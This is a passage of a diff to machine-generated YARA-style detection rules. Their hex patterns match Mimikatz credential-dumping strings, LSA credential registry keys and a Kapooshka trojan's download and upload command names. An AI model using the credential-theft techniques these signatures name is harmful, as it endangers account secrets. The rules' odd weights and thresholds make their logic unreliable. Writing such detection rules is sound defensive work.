00 73 65 74 5f 50 72 6f 78 79 00 49 57 65 62 50 90 01 01 6f 78 79 00 70 72 6f 78 79 00 43 6d 53 65 72 76 69 63 65 2e 50 72 6f 70 65 72 74 69 65 73 2e 52 65 73 6f } //29797 - $a_72_24 = {65 } //400 e + $a_c7_16 = {00 04 00 04 00 17 00 21 23 48 61 63 6b 54 6f 6f 6c 3a 57 69 6e 33 32 2f 4d 69 6d 69 6b 61 74 7a 2e 45 00 03 00 21 80 01 6c 6f 67 20 6d 69 6d 69 6b 61 74 7a 20 69 6e 70 75 74 2f 6f 75 74 70 75 74 20 74 6f 20 66 69 6c 65 03 00 09 80 01 2f 6d 69 6d 69 6b 61 74 7a 03 00 0a 80 01 67 65 6e 74 69 6c 6b 69 77 69 03 00 2e 00 6b 00 69 00 77 00 69 00 5f 00 6d 00 73 00 } //0 + $a_00_17 = {5f 00 30 00 5f 00 63 00 72 00 65 00 64 00 65 00 6e 00 74 00 69 00 61 00 6c 00 73 00 03 00 08 00 6d 69 6d 69 6b 61 74 7a 03 00 1e 00 70 6f 77 65 72 } //118 + $a_6c_18 = {5f 72 65 66 6c 65 63 74 69 76 65 5f 6d 69 6d 69 6b 61 74 7a 03 00 0d 00 70 6f 77 65 72 6b 61 74 7a 2e 64 6c 6c 03 00 1c 00 62 6c 6f 67 2e 67 65 6e 74 69 6c 6b 69 77 69 2e 63 6f 6d 2f 6d 69 6d 69 6b 61 74 7a 03 00 34 00 6d 00 69 00 6d 00 69 00 6b 00 61 00 74 00 7a 00 28 00 63 00 6f 00 6d 00 6d 00 61 00 } //26739 + $a_00_19 = {6c 00 69 00 6e 00 65 00 29 00 20 00 23 00 20 00 25 00 73 00 03 00 14 00 6d 00 69 00 6d 00 69 00 6b 00 61 00 74 00 7a 00 20 00 23 00 03 00 40 00 6d 00 69 00 6d 00 69 00 6b 00 61 00 74 00 7a 00 20 00 90 00 02 00 02 00 2e 00 90 00 02 00 02 00 2e 00 90 00 02 00 02 00 20 00 78 00 36 00 34 00 20 00 28 00 } //110 + $a_00_20 = {2e 00 65 00 6f 00 29 00 01 00 1d 80 01 5c 5c 2e 5c 70 69 70 65 5c 6b 65 6b 65 6f 5f 74 73 73 73 70 5f 65 6e 64 70 6f 69 6e 74 01 00 1c 80 01 6c 73 61 63 61 6c 6c 61 75 74 68 65 6e 74 69 63 61 74 69 6f 6e 70 61 63 6b 61 67 65 01 00 19 80 01 73 61 6d 65 6e 75 6d 65 72 61 74 65 75 73 65 72 73 69 6e 64 6f } //111 + $a_6e_21 = {00 1e 80 01 6c 73 61 6c 6f 6f 6b 75 70 61 75 74 68 65 6e 74 69 63 61 74 69 6f 6e 70 61 63 6b 61 67 65 01 00 39 80 01 73 6f 66 74 77 61 72 65 5c 70 6f 6c 69 63 69 65 73 5c 6d 69 63 72 6f 73 6f 66 74 5c 77 69 6e 64 6f 77 73 5c 63 72 65 64 65 6e 74 69 61 6c 73 64 65 6c 65 67 61 74 69 6f 6e 01 00 3b 80 01 73 79 73 74 } //24941 + $a_63_22 = {72 72 65 6e 74 63 6f 6e 74 72 6f 6c 73 65 74 5c 63 6f 6e 74 72 6f 6c 5c 6c 73 61 5c 63 72 65 64 73 73 70 5c 70 6f 6c 69 63 79 64 65 66 61 75 6c 74 73 01 00 19 80 01 61 63 71 75 69 72 65 63 72 65 64 65 6e 74 69 61 6c 73 68 61 6e 64 6c 65 3a 01 00 10 00 70 00 61 00 73 00 73 00 } //28005 + $a_00_23 = {72 00 64 00 01 00 1e 00 73 61 6d 65 6e 75 6d 65 72 61 74 65 64 6f 6d 61 69 6e 73 69 6e 73 61 6d 73 65 72 76 65 72 01 00 1b 00 5f 4e 65 74 53 65 72 76 65 72 54 72 75 73 74 50 61 73 73 77 6f 72 64 73 47 65 74 01 00 7a 00 2a 00 50 00 61 00 73 00 73 00 77 00 6f 00 72 00 64 00 20 00 72 00 65 00 70 00 6c 00 61 00 63 00 65 00 20 00 40 00 } //119 + $a_00_24 = {70 00 20 00 28 00 25 00 75 00 29 00 90 00 02 00 10 00 4c 00 53 00 41 00 20 00 53 00 65 00 73 00 73 00 69 00 6f } //32 condition: - ((#a_54_0 & 1)*18467+(#a_4c_1 & 1)*26731+(#a_46_2 & 1)*31342+(#a_00_3 & 1)*27240+(#a_71_4 & 1)*17665+(#a_66_5 & 1)*27722+(#a_48_6 & 1)*28761+(#a_01_7 & 1)*1+(#a_01_8 & 1)*1+(#a_01_9 & 1)*1+(#a_01_10 & 1)*1+(#a_01_11 & 1)*1+(#a_01_12 & 1)*1+(#a_01_13 & 1)*1+(#a_01_14 & 1)*1+(#a_01_15 & 1)*1+(#a_c4_16 & 1)*0+(#a_6f_17 & 1)*25441+(#a_64_18 & 1)*24941+(#a_64_19 & 1)*24941+(#a_73_20 & 1)*18035+(#a_65_21 & 1)*27745+(#a_75_22 & 1)*17780+(#a_72_23 & 1)*29797+(#a_72_24 & 1)*400) >=5 + ((#a_54_0 & 1)*18467+(#a_4c_1 & 1)*26731+(#a_46_2 & 1)*31342+(#a_00_3 & 1)*27240+(#a_71_4 & 1)*17665+(#a_66_5 & 1)*27722+(#a_48_6 & 1)*28761+(#a_01_7 & 1)*1+(#a_01_8 & 1)*1+(#a_01_9 & 1)*1+(#a_01_10 & 1)*1+(#a_01_11 & 1)*1+(#a_01_12 & 1)*1+(#a_01_13 & 1)*1+(#a_01_14 & 1)*1+(#a_01_15 & 1)*1+(#a_c7_16 & 1)*0+(#a_00_17 & 1)*118+(#a_6c_18 & 1)*26739+(#a_00_19 & 1)*110+(#a_00_20 & 1)*111+(#a_6e_21 & 1)*24941+(#a_63_22 & 1)*28005+(#a_00_23 & 1)*119+(#a_00_24 & 1)*32) >=5 } -rule _InfrastructureShared_20401{ - meta: - description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 0d 00 21 " - - strings : - $a_46_0 = {45 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 4b 61 70 6f 6f 73 68 6b 61 2e 41 21 64 68 61 00 01 00 3c 03 43 6f 6d 6d 61 6e 64 44 65 73 63 72 69 70 74 6f 72 00 63 6f 6d 6d 61 6e 64 90 01 01 65 73 63 72 69 70 74 6f 72 00 45 78 65 } //16675 - $a_6f_1 = {00 65 78 65 90 01 01 75 74 6f 72 00 90 00 01 00 45 03 43 6f 6d 6d 61 6e 64 46 61 63 74 6f 72 79 00 63 6f 6d 6d 61 6e 64 90 01 01 61 63 74 6f 72 79 00 42 72 6f 77 73 65 72 54 65 6c 65 6d 65 74 72 79 00 47 65 74 46 72 6f 6d 52 90 01 01 67 69 73 74 72 79 00 90 00 01 00 30 03 73 65 74 5f 43 72 65 61 74 65 4e 6f 90 01 01 69 6e 64 6f 77 00 47 65 74 43 } //30051 - $a_61_2 = {64 42 79 00 64 65 6c 61 79 00 41 72 72 61 79 00 90 00 01 00 45 03 49 43 6f 6d 6d 61 6e 64 00 67 65 74 5f 43 6f 6d 90 01 01 61 6e 64 00 73 65 74 5f 43 6f 6d 6d 61 6e 64 00 44 6f 77 6e 6c 6f 61 64 43 6f 6d 6d 61 6e 64 00 55 70 6c 6f 61 64 90 01 01 6f 6d 6d 61 6e 64 00 90 00 01 00 44 03 41 64 64 43 6f 6d 6d 61 6e 64 00 45 78 65 } //28015 - $a_01_3 = {01 6d 61 6e 64 00 4b 69 6c 6c 43 6f 6d 6d 61 6e 64 00 43 6c 65 61 72 43 6f 90 01 01 6d 61 6e 64 00 54 69 6d 65 6f 75 74 43 6f 6d 6d 61 6e 64 00 90 00 01 00 43 03 73 65 74 5f 52 65 73 75 6c 74 00 43 6f 6d 6d 61 6e 64 52 65 73 90 01 01 6c 74 00 43 68 65 63 6b 56 61 6c 69 64 61 74 69 6f 6e 52 65 73 75 6c 74 00 73 65 74 5f 55 73 90 01 01 72 41 67 65 6e 74 00 90 00 01 00 3a 03 41 62 6f 72 74 00 49 73 43 6f 6d 6d 61 6e 90 01 01 49 73 } //28483 - $a_74_4 = {48 74 74 70 57 65 62 52 65 71 75 65 73 74 00 53 65 6e 64 47 65 90 01 01 52 65 71 75 65 73 74 00 90 00 01 00 46 03 50 61 72 73 65 43 6f 6d 6d 61 6e 64 73 00 45 78 65 63 75 74 65 90 01 01 6f 6e 67 43 6f 6d 6d 61 6e 64 73 00 6c 6f 6e 67 43 6f 6d 6d 61 6e 64 73 00 67 65 74 90 01 01 54 6f 74 61 6c 53 65 63 6f 6e 64 73 00 90 00 01 00 42 03 47 65 74 } //24902 - $a_53_5 = {73 73 49 64 00 53 74 61 72 74 53 90 01 01 70 61 72 61 74 65 54 68 72 65 61 64 00 6c 6f 6e 67 43 6f 6d 6d 61 6e 64 73 54 68 72 65 61 64 00 70 61 79 90 01 01 6f 61 64 00 90 00 01 00 4f 03 47 65 74 45 6e 75 6d 65 72 61 74 6f 72 00 2e 63 74 6f } //18512 - $a_65_6 = {76 65 72 49 6e 66 90 01 01 45 78 74 72 61 63 74 6f 72 00 2e 63 63 74 6f 72 00 4d 6f 6e 69 74 6f 72 00 43 6f 6d 6d 61 6e 64 44 65 73 90 01 01 72 69 70 74 6f 72 00 90 00 01 00 34 03 6c 6f 6e 67 43 6f 6d 6d 61 6e 64 73 90 01 01 68 72 65 61 64 00 70 61 } //114 - $a_61_7 = {00 41 64 64 00 53 65 74 50 72 6f 78 79 49 66 4e 65 65 64 65 64 00 90 00 01 00 49 03 67 65 74 5f 50 72 6f 78 79 00 73 65 74 5f 50 72 6f 78 79 00 49 57 65 62 50 90 01 01 6f 78 79 00 70 72 6f 78 79 00 43 6d 53 65 72 76 69 63 65 2e 50 72 6f 70 65 72 74 69 65 73 2e 52 65 73 6f 90 01 01 72 63 65 73 00 90 00 01 00 58 03 73 65 74 5f 55 73 } //27769 - $a_66_8 = {75 6c 74 43 72 90 01 01 64 65 6e 74 69 61 6c 73 00 70 68 70 73 65 73 73 69 64 53 79 6d 62 6f 6c 73 00 42 72 6f 77 73 65 72 54 65 6c 65 6d 65 74 72 79 2e 43 6f 6e 6e 65 63 90 01 01 69 6f 6e 73 00 67 65 74 5f 43 68 61 72 73 00 90 00 00 00 78 c7 03 00 04 00 04 00 17 00 21 23 48 61 63 6b 54 6f 6f 6c 3a 57 } //17509 - $a_32_9 = {4d 69 6d 69 6b 61 74 7a 2e 45 00 03 00 21 80 01 6c 6f 67 20 6d 69 6d 69 6b 61 74 7a 20 69 6e 70 75 74 2f 6f 75 74 70 75 74 20 74 6f 20 66 69 6c 65 03 00 } //28265 - $a_2f_10 = {69 } //-32759 i - $a_61_11 = {7a 03 00 0a 80 01 67 65 6e 74 69 6c 6b 69 77 69 03 00 2e 00 6b 00 69 00 77 00 69 00 5f 00 6d 00 73 00 76 00 31 00 5f 00 30 00 5f 00 63 00 72 00 65 00 64 00 65 00 6e 00 74 00 69 00 61 00 6c 00 73 00 03 00 08 00 6d 69 6d 69 6b 61 74 7a 03 00 1e 00 70 6f 77 65 72 73 68 65 6c 6c 5f 72 65 66 6c 65 63 74 69 76 65 5f 6d 69 6d } //26989 - $a_74_12 = {03 00 0d 00 70 6f 77 65 72 6b 61 74 7a 2e 64 6c 6c 03 00 1c 00 62 6c 6f 67 2e 67 65 6e 74 69 6c 6b 69 77 69 2e 63 6f 6d 2f 6d 69 6d 69 6b 61 74 7a 03 00 34 00 6d 00 69 00 6d 00 69 00 6b 00 61 00 74 00 7a 00 28 00 63 00 6f 00 6d 00 6d 00 61 00 6e 00 64 00 6c 00 69 00 6e 00 65 00 29 00 20 00 } //27497 - condition: - ((#a_46_0 & 1)*16675+(#a_6f_1 & 1)*30051+(#a_61_2 & 1)*28015+(#a_01_3 & 1)*28483+(#a_74_4 & 1)*24902+(#a_53_5 & 1)*18512+(#a_65_6 & 1)*114+(#a_61_7 & 1)*27769+(#a_66_8 & 1)*17509+(#a_32_9 & 1)*28265+(#a_2f_10 & 1)*-32759+(#a_61_11 & 1)*26989+(#a_74_12 & 1)*27497) >=2 - -} -rule _InfrastructureShared_20402{ +rule _InfrastructureShared_21625{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 17 00 21 " @@ -260068,7 +275412,7 @@ rule _InfrastructureShared_20402{ ((#a_63_0 & 1)*18467+(#a_00_1 & 1)*119+(#a_67_2 & 1)*27746+(#a_00_3 & 1)*109+(#a_74_4 & 1)*25960+(#a_6e_5 & 1)*30556+(#a_69_6 & 1)*28261+(#a_00_7 & 1)*32+(#a_00_8 & 1)*120+(#a_6c_9 & 1)*21039+(#a_00_10 & 1)*111+(#a_56_11 & 1)*11520+(#a_00_12 & 1)*100+(#a_00_14 & 1)*99+(#a_00_17 & 1)*47+(#a_00_19 & 1)*117+(#a_00_20 & 1)*108+(#a_50_21 & 1)*-28672+(#a_00_22 & 1)*24578) >=4 } -rule _InfrastructureShared_20403{ +rule _InfrastructureShared_21626{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,ffffffd4 00 ffffffd2 00 10 00 21 " @@ -260089,7 +275433,7 @@ rule _InfrastructureShared_20403{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*114+(#a_6f_2 & 1)*29545+(#a_4b_3 & 1)*25711+(#a_00_4 & 1)*101+(#a_00_5 & 1)*46+(#a_00_9 & 1)*120+(#a_00_10 & 1)*101+(#a_74_11 & 1)*554+(#a_74_12 & 1)*21087+(#a_00_13 & 1)*116+(#a_00_15 & 1)*109) >=210 } -rule _InfrastructureShared_20404{ +rule _InfrastructureShared_21627{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0e 00 0e 00 0e 00 21 " @@ -260108,7 +275452,7 @@ rule _InfrastructureShared_20404{ ((#a_46_0 & 1)*16675+(#a_2c_1 & 1)*2+(#a_2d_2 & 1)*23085+(#a_00_4 & 1)*101+(#a_2d_6 & 1)*2305+(#a_5a_7 & 1)*16762+(#a_2d_8 & 1)*23085+(#a_2d_9 & 1)*2305+(#a_90_10 & 1)*11568+(#a_43_12 & 1)*-23552) >=14 } -rule _InfrastructureShared_20405{ +rule _InfrastructureShared_21628{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 21 00 21 " @@ -260143,7 +275487,7 @@ rule _InfrastructureShared_20405{ ((#a_54_0 & 1)*18467+(#a_00_2 & 1)*114+(#a_62_3 & 1)*25600+(#a_00_4 & 1)*115+(#a_00_6 & 1)*119+(#a_73_7 & 1)*29296+(#a_00_8 & 1)*114+(#a_20_9 & 1)*25632+(#a_68_10 & 1)*25970+(#a_00_11 & 1)*9+(#a_52_12 & 1)*28257+(#a_00_13 & 1)*119+(#a_00_15 & 1)*109+(#a_00_17 & 1)*38+(#a_2d_18 & 1)*2305+(#a_00_20 & 1)*114+(#a_7a_21 & 1)*24922+(#a_00_23 & 1)*32+(#a_01_24 & 1)*-28672+(#a_00_25 & 1)*115+(#a_00_27 & 1)*112+(#a_00_28 & 1)*104+(#a_2e_29 & 1)*27763+(#a_74_30 & 1)*25940+(#a_69_31 & 1)*12850+(#a_6a_32 & 1)*17477) >=4 } -rule _InfrastructureShared_20406{ +rule _InfrastructureShared_21629{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,09 00 09 00 0f 00 21 " @@ -260162,7 +275506,7 @@ rule _InfrastructureShared_20406{ ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*111+(#a_00_3 & 1)*39+(#a_00_5 & 1)*100+(#a_00_6 & 1)*116+(#a_00_7 & 1)*870+(#a_2d_8 & 1)*14637+(#a_00_10 & 1)*110+(#a_2d_11 & 1)*23085+(#a_00_13 & 1)*115) >=9 } -rule _InfrastructureShared_20407{ +rule _InfrastructureShared_21630{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0e 00 0e 00 12 00 21 " @@ -260189,7 +275533,7 @@ rule _InfrastructureShared_20407{ ((#a_54_0 & 1)*18467+(#a_69_1 & 1)*29779+(#a_55_2 & 1)*31308+(#a_47_3 & 1)*18282+(#a_44_4 & 1)*27208+(#a_5b_5 & 1)*28010+(#a_32_6 & 1)*32106+(#a_44_7 & 1)*17476+(#a_4e_8 & 1)*17476+(#a_44_9 & 1)*17476+(#a_7d_10 & 1)*13892+(#a_3b_11 & 1)*17487+(#a_57_12 & 1)*25183+(#a_54_13 & 1)*8262+(#a_65_14 & 1)*25902+(#a_2d_15 & 1)*2305+(#a_68_16 & 1)*26212+(#a_01_17 & 1)*-28672) >=14 } -rule _InfrastructureShared_20408{ +rule _InfrastructureShared_21631{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 14 00 21 " @@ -260215,7 +275559,7 @@ rule _InfrastructureShared_20408{ ((#a_46_0 & 1)*16675+(#a_72_1 & 1)*30277+(#a_2e_2 & 1)*26723+(#a_00_3 & 1)*14637+(#a_43_5 & 1)*12288+(#a_72_6 & 1)*29020+(#a_3e_7 & 1)*11552+(#a_25_8 & 1)*8291+(#a_6d_9 & 1)*13568+(#a_72_10 & 1)*28767+(#a_61_11 & 1)*11585+(#a_64_14 & 1)*17409+(#a_30_15 & 1)*-247+(#a_74_16 & 1)*25390+(#a_2e_17 & 1)*25710+(#a_74_18 & 1)*26988+(#a_61_19 & 1)*28015) >=6 } -rule _InfrastructureShared_20409{ +rule _InfrastructureShared_21632{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 21 00 21 " @@ -260251,7 +275595,7 @@ rule _InfrastructureShared_20409{ ((#a_46_0 & 1)*16675+(#a_63_1 & 1)*29540+(#a_63_2 & 1)*29540+(#a_61_3 & 1)*28015+(#a_6d_4 & 1)*28515+(#a_01_5 & 1)*27749+(#a_61_6 & 1)*26369+(#a_2e_7 & 1)*25710+(#a_01_8 & 1)*1+(#a_01_9 & 1)*1+(#a_01_10 & 1)*1+(#a_01_11 & 1)*1+(#a_01_12 & 1)*1+(#a_01_13 & 1)*1+(#a_01_14 & 1)*1+(#a_d1_15 & 1)*0+(#a_00_17 & 1)*48+(#a_00_19 & 1)*45+(#a_00_20 & 1)*49+(#a_00_22 & 1)*49+(#a_00_24 & 1)*49+(#a_00_26 & 1)*49+(#a_00_28 & 1)*49+(#a_65_29 & 1)*28271+(#a_65_30 & 1)*26950+(#a_61_31 & 1)*262+(#a_63_32 & 1)*29264) >=10 } -rule _InfrastructureShared_20410{ +rule _InfrastructureShared_21633{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,64 00 64 00 22 00 21 " @@ -260285,7 +275629,7 @@ rule _InfrastructureShared_20410{ ((#a_6f_0 & 1)*21539+(#a_00_1 & 1)*49+(#a_00_3 & 1)*49+(#a_00_5 & 1)*49+(#a_00_7 & 1)*49+(#a_00_9 & 1)*49+(#a_00_11 & 1)*49+(#a_00_13 & 1)*49+(#a_65_14 & 1)*28271+(#a_65_15 & 1)*26950+(#a_61_16 & 1)*262+(#a_63_17 & 1)*29264+(#a_43_18 & 1)*29797+(#a_00_19 & 1)*93+(#a_00_20 & 1)*114+(#a_5a_21 & 1)*16697+(#a_75_22 & 1)*29287+(#a_6f_23 & 1)*26473+(#a_00_25 & 1)*101+(#a_00_26 & 1)*144+(#a_00_28 & 1)*93+(#a_00_29 & 1)*97+(#a_00_31 & 1)*37+(#a_90_32 & 1)*11617+(#a_09_33 & 1)*14637) >=100 } -rule _InfrastructureShared_20411{ +rule _InfrastructureShared_21634{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 0a 00 21 " @@ -260303,7 +275647,7 @@ rule _InfrastructureShared_20411{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*101+(#a_64_2 & 1)*8302+(#a_20_3 & 1)*24950+(#a_00_5 & 1)*115+(#a_00_6 & 1)*100+(#a_00_7 & 1)*108+(#a_61_8 & 1)*11585+(#a_5a_9 & 1)*16697) >=2 } -rule _InfrastructureShared_20412{ +rule _InfrastructureShared_21635{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,ffffffc0 02 fffffffd 00 10 00 21 " @@ -260327,7 +275671,7 @@ rule _InfrastructureShared_20412{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*114+(#a_70_2 & 1)*25714+(#a_00_3 & 1)*97+(#a_00_4 & 1)*112+(#a_64_5 & 1)*12079+(#a_00_6 & 1)*100+(#a_65_7 & 1)*384+(#a_57_8 & 1)*15360+(#a_00_9 & 1)*110+(#a_70_10 & 1)*29807+(#a_64_12 & 1)*12032+(#a_74_13 & 1)*27506+(#a_65_14 & 1)*257+(#a_72_15 & 1)*30556) >=253 } -rule _InfrastructureShared_20413{ +rule _InfrastructureShared_21636{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 18 00 21 " @@ -260354,7 +275698,7 @@ rule _InfrastructureShared_20413{ ((#a_46_0 & 1)*16675+(#a_90_1 & 1)*11877+(#a_63_2 & 1)*29285+(#a_3a_4 & 1)*18724+(#a_00_5 & 1)*25390+(#a_65_6 & 1)*257+(#a_00_7 & 1)*31087+(#a_61_8 & 1)*25859+(#a_03_9 & 1)*1+(#a_03_10 & 1)*1+(#a_e0_11 & 1)*0+(#a_00_13 & 1)*99+(#a_00_15 & 1)*102+(#a_00_17 & 1)*103+(#a_00_19 & 1)*101+(#a_00_20 & 1)*114+(#a_00_21 & 1)*65+(#a_00_22 & 1)*82) >=2 } -rule _InfrastructureShared_20414{ +rule _InfrastructureShared_21637{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 08 00 21 " @@ -260368,7 +275712,7 @@ rule _InfrastructureShared_20414{ ((#a_70_0 & 1)*16675+(#a_00_1 & 1)*99+(#a_00_3 & 1)*102+(#a_00_5 & 1)*103+(#a_00_7 & 1)*101) >=3 } -rule _InfrastructureShared_20415{ +rule _InfrastructureShared_21638{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 20 00 21 " @@ -260409,7 +275753,7 @@ rule _InfrastructureShared_20415{ ((#a_6f_0 & 1)*21539+(#a_44_1 & 1)*20994+(#a_02_2 & 1)*1+(#a_02_3 & 1)*1+(#a_02_4 & 1)*1+(#a_02_5 & 1)*1+(#a_02_6 & 1)*1+(#a_02_7 & 1)*1+(#a_02_8 & 1)*1+(#a_02_9 & 1)*1+(#a_02_10 & 1)*1+(#a_02_11 & 1)*1+(#a_02_12 & 1)*1+(#a_02_13 & 1)*1+(#a_02_14 & 1)*1+(#a_02_15 & 1)*1+(#a_02_16 & 1)*1+(#a_02_17 & 1)*1+(#a_02_18 & 1)*1+(#a_02_19 & 1)*1+(#a_02_20 & 1)*1+(#a_02_21 & 1)*1+(#a_02_22 & 1)*1+(#a_02_23 & 1)*1+(#a_02_24 & 1)*1+(#a_02_25 & 1)*1+(#a_02_26 & 1)*1+(#a_02_27 & 1)*1+(#a_e6_28 & 1)*0+(#a_39_29 & 1)*11832+(#a_74_30 & 1)*29811+(#a_53_31 & 1)*19031) >=1 } -rule _InfrastructureShared_20416{ +rule _InfrastructureShared_21639{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 19 00 21 " @@ -260438,7 +275782,7 @@ rule _InfrastructureShared_20416{ ((#a_46_0 & 1)*16675+(#a_31_1 & 1)*13365+(#a_63_2 & 1)*12081+(#a_62_3 & 1)*29295+(#a_3d_4 & 1)*27510+(#a_f7_5 & 1)*-8933+(#a_00_6 & 1)*545+(#a_6d_7 & 1)*29286+(#a_54_8 & 1)*294+(#a_6c_10 & 1)*25960+(#a_73_11 & 1)*29793+(#a_05_12 & 1)*21875+(#a_0a_13 & 1)*19109+(#a_00_14 & 1)*-17759+(#a_00_15 & 1)*70+(#a_00_16 & 1)*111+(#a_00_18 & 1)*49+(#a_00_20 & 1)*46+(#a_00_22 & 1)*47+(#a_00_24 & 1)*108) >=2 } -rule _InfrastructureShared_20417{ +rule _InfrastructureShared_21640{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 0d 00 21 " @@ -260456,7 +275800,7 @@ rule _InfrastructureShared_20417{ ((#a_54_0 & 1)*18467+(#a_00_2 & 1)*106+(#a_00_3 & 1)*117+(#a_00_4 & 1)*56+(#a_00_5 & 1)*77+(#a_00_6 & 1)*111+(#a_00_8 & 1)*112+(#a_00_10 & 1)*115+(#a_00_12 & 1)*51) >=12 } -rule _InfrastructureShared_20418{ +rule _InfrastructureShared_21641{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 0c 00 21 " @@ -260476,7 +275820,7 @@ rule _InfrastructureShared_20418{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*49+(#a_01_2 & 1)*-28672+(#a_01_3 & 1)*-28580+(#a_00_4 & 1)*14637+(#a_00_5 & 1)*110+(#a_7a_6 & 1)*24922+(#a_00_7 & 1)*109+(#a_00_9 & 1)*99+(#a_2d_10 & 1)*2305+(#a_00_11 & 1)*68) >=12 } -rule _InfrastructureShared_20419{ +rule _InfrastructureShared_21642{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 08 00 21 " @@ -260493,7 +275837,7 @@ rule _InfrastructureShared_20419{ ((#a_54_0 & 1)*18467+(#a_4e_1 & 1)*19531+(#a_26_2 & 1)*9251+(#a_50_3 & 1)*20045+(#a_2a_4 & 1)*10279+(#a_58_5 & 1)*22101+(#a_3a_6 & 1)*14391+(#a_78_7 & 1)*30325) >=1 } -rule _InfrastructureShared_20420{ +rule _InfrastructureShared_21643{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 10 00 21 " @@ -260518,7 +275862,7 @@ rule _InfrastructureShared_20420{ ((#a_54_0 & 1)*18467+(#a_74_1 & 1)*12090+(#a_30_2 & 1)*14646+(#a_33_3 & 1)*13153+(#a_62_4 & 1)*26988+(#a_35_5 & 1)*12902+(#a_38_6 & 1)*13057+(#a_66_7 & 1)*30067+(#a_33_8 & 1)*24880+(#a_2e_9 & 1)*25963+(#a_33_10 & 1)*12851+(#a_61_11 & 1)*327+(#a_69_12 & 1)*25205+(#a_6b_13 & 1)*24944+(#a_6c_14 & 1)*28265+(#a_2e_15 & 1)*28525) >=3 } -rule _InfrastructureShared_20421{ +rule _InfrastructureShared_21644{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,6e 00 6e 00 20 00 21 " @@ -260557,7 +275901,7 @@ rule _InfrastructureShared_20421{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*28783+(#a_00_2 & 1)*27491+(#a_64_3 & 1)*400+(#a_73_5 & 1)*6656+(#a_64_6 & 1)*25955+(#a_03_7 & 1)*1+(#a_03_8 & 1)*1+(#a_03_9 & 1)*1+(#a_03_10 & 1)*1+(#a_03_11 & 1)*1+(#a_03_12 & 1)*1+(#a_03_13 & 1)*1+(#a_03_14 & 1)*1+(#a_03_15 & 1)*1+(#a_03_16 & 1)*1+(#a_03_17 & 1)*1+(#a_03_18 & 1)*1+(#a_03_19 & 1)*1+(#a_03_20 & 1)*1+(#a_03_21 & 1)*1+(#a_03_22 & 1)*1+(#a_03_23 & 1)*1+(#a_03_24 & 1)*1+(#a_08_25 & 1)*0+(#a_38_27 & 1)*13108+(#a_74_28 & 1)*28515+(#a_69_29 & 1)*26736+(#a_63_30 & 1)*25971+(#a_6b_31 & 1)*25446) >=110 } -rule _InfrastructureShared_20422{ +rule _InfrastructureShared_21645{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 0d 00 21 " @@ -260579,7 +275923,7 @@ rule _InfrastructureShared_20422{ ((#a_46_0 & 1)*16675+(#a_6e_1 & 1)*28469+(#a_37_2 & 1)*25964+(#a_75_3 & 1)*27751+(#a_35_4 & 1)*13361+(#a_65_5 & 1)*28271+(#a_74_6 & 1)*26419+(#a_33_7 & 1)*327+(#a_6e_8 & 1)*25458+(#a_37_9 & 1)*29554+(#a_2e_10 & 1)*28261+(#a_5f_11 & 1)*29806+(#a_79_12 & 1)*11825) >=1 } -rule _InfrastructureShared_20423{ +rule _InfrastructureShared_21646{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 0d 00 21 " @@ -260599,7 +275943,7 @@ rule _InfrastructureShared_20423{ ((#a_46_0 & 1)*16675+(#a_47_1 & 1)*29541+(#a_90_2 & 1)*11568+(#a_4a_3 & 1)*17734+(#a_2d_4 & 1)*2305+(#a_00_6 & 1)*67+(#a_09_7 & 1)*14637+(#a_09_8 & 1)*11408+(#a_2d_9 & 1)*14637+(#a_00_10 & 1)*114+(#a_00_12 & 1)*98) >=4 } -rule _InfrastructureShared_20424{ +rule _InfrastructureShared_21647{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 0c 00 21 " @@ -260617,7 +275961,7 @@ rule _InfrastructureShared_20424{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*115+(#a_2d_2 & 1)*14637+(#a_00_4 & 1)*116+(#a_00_6 & 1)*121+(#a_41_7 & 1)*11568+(#a_00_8 & 1)*78+(#a_30_9 & 1)*11585+(#a_00_11 & 1)*46) >=3 } -rule _InfrastructureShared_20425{ +rule _InfrastructureShared_21648{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 0a 00 21 " @@ -260635,7 +275979,7 @@ rule _InfrastructureShared_20425{ 